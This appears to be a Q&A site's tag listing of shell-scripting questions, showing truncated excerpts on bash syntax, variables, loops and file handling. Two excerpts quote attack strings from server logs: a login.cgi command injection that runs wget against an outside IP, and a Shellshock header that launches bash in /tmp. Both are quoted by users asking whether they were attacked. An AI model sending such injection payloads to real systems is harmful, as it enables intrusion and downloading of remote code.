Questions tagged [shell-script]
A shell script is a script written for the shell, or command line interpreter, of an operating system.
1,446
questions
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answers
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Batch converting PNG to JPG in linux
Does anyone know a good way to batch-convert a bunch of PNGs into JPGs in linux? (I'm using Ubuntu).
A png2jpg binary that I could just drop into a shell script would be ideal.
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votes
9
answers
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looping through `ls` results in bash shell script
Does any one have a template shell script for doing something with ls for a list of directory names and looping through each one and doing something?
I'm planning to do ls -1d */ to get the list of ...
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149
votes
3
answers
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What does export do in BASH? [duplicate]
Possible Duplicate:
Difference between “a=b” and “export a=b” in bash
It is hard to admit, but I have never really understood what exactly export does to an environment ...
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115
votes
5
answers
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Check if any of the parameters to a bash script match a string
I'm trying to write a script where I want to check if any of the parameters passed to a bash script match a string. The way I have it setup right now is
if [ "$3" != "-disCopperBld" -a "$4" != "-...
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votes
6
answers
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When must I use #!/bin/bash and when #!/bin/sh?
When is #!/bin/bash more appropriate than #!/bin/sh in a shell script?
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81
votes
15
answers
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How to execute .sh file on Windows?
When I am trying to execute a file(name.sh) in the command line by the command ./name.sh , I am getting the error that:
"." is not recognized as an internal
or external command, operable or ...
sushant
76
votes
11
answers
55k
views
Log rotation of stdout?
I have a Linux program which can write information to stdout and stderr.
I have a shell script which redirects that output to a file in /var/log. (Via >> and 2>&1.)
Is there a way to ...
- 1,219
73
votes
5
answers
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views
Determine the architecture of a Mac from the command line or script?
I'm writing a shell script, and I need to know the architecture, i.e. PPC or Intel. Back in the day, there was a program /bin/arch that told you, but my Mac doesn't seem to have it.
Is there an easy ...
- 1,635
71
votes
5
answers
80k
views
Avoid unwanted path in Zip file
I'm making a shell script to package some files. I'm zipping a directory like this:
zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/
The problem is that the ...
- 1,497
56
votes
2
answers
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views
What is the difference between set, env, declare and export when setting a variable in a Linux shell?
What is the difference between set, env, declare and export when setting a variable in a Linux shell, such as bash?
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votes
3
answers
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How to POST file contents using cURL?
I want to do an HTTP POST of the contents (as a string) of a local file located at path/to/my-file.txt to a URL endpoint at http://example.com/.
For example, I might want to do the following:
...
- 2,299
42
votes
5
answers
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views
How to test if a variable is equal to a number in shell
I have this shell script that isn't working.
Input:
Server_Name=1
if [ $Server_Name=1 ]; then
echo Server Name is 1
else
echo Server Name is not 1
fi
Output:
Server Name is 1
But, if i ...
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40
votes
6
answers
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views
How to extract a complete list of extension types within a directory?
Within a directory, and recursively within it's sub-directories, meaning every directory within a directory is processed, how do I compile a complete list of unique extensions within the directory?
...
- 887
40
votes
2
answers
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How can I compare a variable to a text string, rather than integer, in an if/else statement?
In the process of writing a shell script, I ran into an issue with the following if/else statement that falls somewhere in the middle of the script:
if [ $act -eq "add" ]
then
read - "add or ...
- 547
37
votes
12
answers
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views
Populating Array in DOS Batch Script
How can I setup an array variable in a DOS batch script? I would like to load it with a list of file names to process. I really would like to keep this as simple as possible. Thank you.
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votes
2
answers
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What is wrong with “echo $(stuff)” or “echo `stuff`”?
I used one of the following
echo $(stuff)
echo `stuff`
(where stuff is e.g. pwd or date or something more complicated).
Then I was told this syntax is wrong, bad practice, non-elegant, excessive, ...
- 74.3k
35
votes
5
answers
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How to replace part of a text file between markers with another text file?
Say I have a text file like this:
# custom content section
a
b
### BEGIN GENERATED CONTENT
c
d
### END GENERATED CONTENT
I'd like to replace the portion between the GENERATED CONTENT tags with the ...
- 1,602
35
votes
7
answers
78k
views
Run a shell script on OS X without having a terminal window appear?
I'm trying to set up a few keyboard shortcuts that open specific iTerm sessions, which I was able to do with BetterTouchTool and a bit of AppleScript magic. The problem is that OS X insists to open a ...
- 451
35
votes
1
answer
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Bash: optionally passing arguments to a command
I'm trying to add arguments to a command call depend on another variable. Please look at the shell scripting code:
curl \
$([ -z "${title}" ] || echo --data-urlencode title=${title}) \
http://...
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34
votes
2
answers
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views
Unix Script: Wait until a file exists
I need a script that will wait for a (examplefile.txt) to appear in the /tmp directory
and once it's found to stop the program, otherwise to sleep the file until it's located
So far I have:
if [ ! -f /...
- 483
33
votes
2
answers
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views
What does this bash script do? [Hack Attempt]
I've been noticing on my servers apache logs, the following strange lines lately:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/...
- 443
33
votes
2
answers
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Shell script echo new line to file
I want to echo a new line to a file in between variables in a shell script. Here's my code:
var1="Hello"
var2="World!"
logwrite="$var1 [Here's where I want to insert a new line] $var2
echo "$logwrite"...
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votes
5
answers
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Passing two arguments to a command using pipes
Usually, we only need to pass one argument:
echo abc | cat
echo abc | cat some_file -
echo abc | cat - some_file
Is there a way to pass two arguments? Something like
{echo abc , echo xyz} | cat
cat ...
- 1,753
31
votes
5
answers
79k
views
Downloading Youtube videos in a text file...?
If you are familiar to Linux, see the following script...
I have a text file with a (list.txt) of Youtube URLs separated by new line... and I use
cat list.txt | youtube-dl -f best
to download all ...
user720745
29
votes
7
answers
144k
views
ssh and shell through ssh : how to exit?
I'm launching a distant script through SSH like this:
ssh user@ipaddress '~/my_script.sh'
Everything is going fine but once the script is finished, the connection is not closed. I
Have to press CTRL-...
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29
votes
2
answers
24k
views
Where to store cronjob script?
I'd prefer to not keep it in my /home/myusername directory. Is there a best practice of where to store your shell scripts for cronjobs? At the root level?
I'm running ubuntu server 12.04 right now.
- 2,323
28
votes
2
answers
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views
Split very long line of words into separate lines of max length
I have a script that outputs a list of packages on a single long line separated by spaces. The information included in this line shall be inserted into a text file which is later presented to a user.
...
- 473
28
votes
4
answers
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views
How do you escape apostrophe in single quoted string in bash?
I don't understand how bash evaluates escaping of apostrophe characters in single quoted strings.
Here is an example:
$ echo ''\''Hello World'\'''
'Hello World' # works
$ echo '\'Hello World\''
&...
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27
votes
12
answers
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views
how to `tail` the latest file in a directory
In shell, how can I tail the latest file created in a directory?
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27
votes
1
answer
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views
Can I "export" an alias to the SHELL that invoked a script?
I'm trying to write a utility script that defines certain aliases.
My SHELL is tcsh (can't change that).
I tried the following
#!/bin/tcsh
alias log 'less ~/logs/log.`date '+%Y%m%d'`''
Then I run ...
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26
votes
3
answers
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views
How to update bash on Mac OS X Yosemite
Just trying to learn bash scripting a little.
My old bash version:
Bash version 3.2.53(1)-release...
I've updated my bash on mac os x yosemite with homebrew:
brew update
brew install bash
Then in ...
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24
votes
8
answers
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How can I run a shell script in Windows? [duplicate]
I'm a Mac user and new to Windows. How can I execute a shell script in Windows?
Generally, I would save the text file with the extension .sh and run it via Terminal. But how could I do that in ...
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votes
3
answers
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Is this an attack or something to be concerned about? Shellshock?
Saw this in the access.log on my test server :
173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;...
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23
votes
4
answers
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views
Edit xml file using shell script / command
I need to do this using unix script or command
There is a xml file in /home/user/app/xmlfiles like
<book>
<fiction type='a'>
<author type=''></author>
</...
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23
votes
2
answers
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views
How do I concatenate strings in a bash script?
How can I concatenate strings and variables in a shell script?
stringOne = "foo"
stringTwo = "anythingButBar"
stringThree = "? and ?"
I want to output "foo and anythingButBar"
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23
votes
2
answers
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Writing shell scripts that will run on any shell (using multiple shebang lines?)
I've just started getting deeper into shell scripting, and I've always just thrown my script in a file, marked it chmod +x and then done /path/to/script.sh and let whatever interpreter is the default ...
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22
votes
6
answers
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views
Programatically determine if an script is being executed on laptop or desktop?
Is there any reliable way to determine (programmatically) from within a bash script if it is being executed on a laptop or a desktop computer?
I could obviously just prompt the user to ask them, but ...
- 502
21
votes
4
answers
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views
Should I put *.sh and *.rb file extensions on all my scripts?
I have a bunch of hand-rolled executable scripts in my $HOME/bin directory. Some are written in bash, some in Ruby. All of them have the shebang line at the top telling the shell what interpreter to ...
- 7,417
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votes
1
answer
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Echo text in a certain color in a shell script
I am about to write a shell script. I would like to be able to visually distinguish some of its output text as a warning, by setting its color to yellow.
How is this done?
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votes
9
answers
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How to find length of string in shell
I need to calculate the length of a string using pure sh shell only. What is happening is that /bin/sh is actually a soft link to bash or another shell. Hence ${#STRING} gives the length of string as ...
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votes
1
answer
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How to pass variables to a HEREDOC in bash?
I want to do something like this:
$ NAME=John
$ cat << '==end' > test
My name is $NAME
==end
$ cat test
My name is John
Any ideas?
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votes
6
answers
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Run script in OS X 10.6 on network connection. (like /etc/network/if-up.d/)
Is there any way to run a script when a network interface comes up in Mac OS X?
I've tried putting a script named ip-up in /etc/ppp but it doesn't seem to fire when I disconnect and reconnect to a ...
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votes
4
answers
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views
Who deals with the star * in echo *
Who deals (interprets) the * in
echo *
Does the echo see the star or the shell take care about it and return a list of filename ..
What about
cp temp temp*
- 403
18
votes
5
answers
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views
Loop over a range of numbers to download with wget
How can I write a bash script that is going to do the following:
URL = "example.com/imageID="
while (1..100)
wget URL + $i #it will wget example.com/imageID=1, then 2, then 3, etc
done
So I have ...
- 1,639
18
votes
3
answers
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views
How to print new line character with echo?
I dump a string with hexdump like this 2031 3334 2e30 0a32 2032 3331 302e 000a. It is clear that 0x0a is new line character, however, when I try to echo this string out, I always got 1 430.2 2 13.0 -- ...
17
votes
3
answers
32k
views
Recursive unrar of several folders
I have several RAR archives spread around multiple directories but all under a particular root folder on my Debian based NAS.
Could someone help me write a simple script that would recursively go into ...
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votes
2
answers
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views
Why do I Get [[: not found When Running a Script?
I'm trying to write a script that has to check if a file exists. In the console I write
if [[ -a /path/to/file.txt ]]; then echo "not mod"; else echo "mod"; fi
and I get
not mod
but when I write a ...
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17
votes
5
answers
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views
grep changing the delimiter
any way we can change the delimiter that uses grep?
I think, by default, grep uses \n as the delimiter.
jhon
16
votes
7
answers
37k
views
How to echo commands in a bash shell script, but not execute them?
Is there a way for running a shell script with echoing the commands but w/o actually executing them?
Let's say I have script removing a file whose name is stored in a variable:
#!/bin/bash
set -v
FN=...
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votes
3
answers
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How do I launch a bash script from Finder in OS X?
How do I launch a bash script from Finder in OS X?
I'm OK working at the CLI, but my little script is not so loved by my GUI-bound colleagues.
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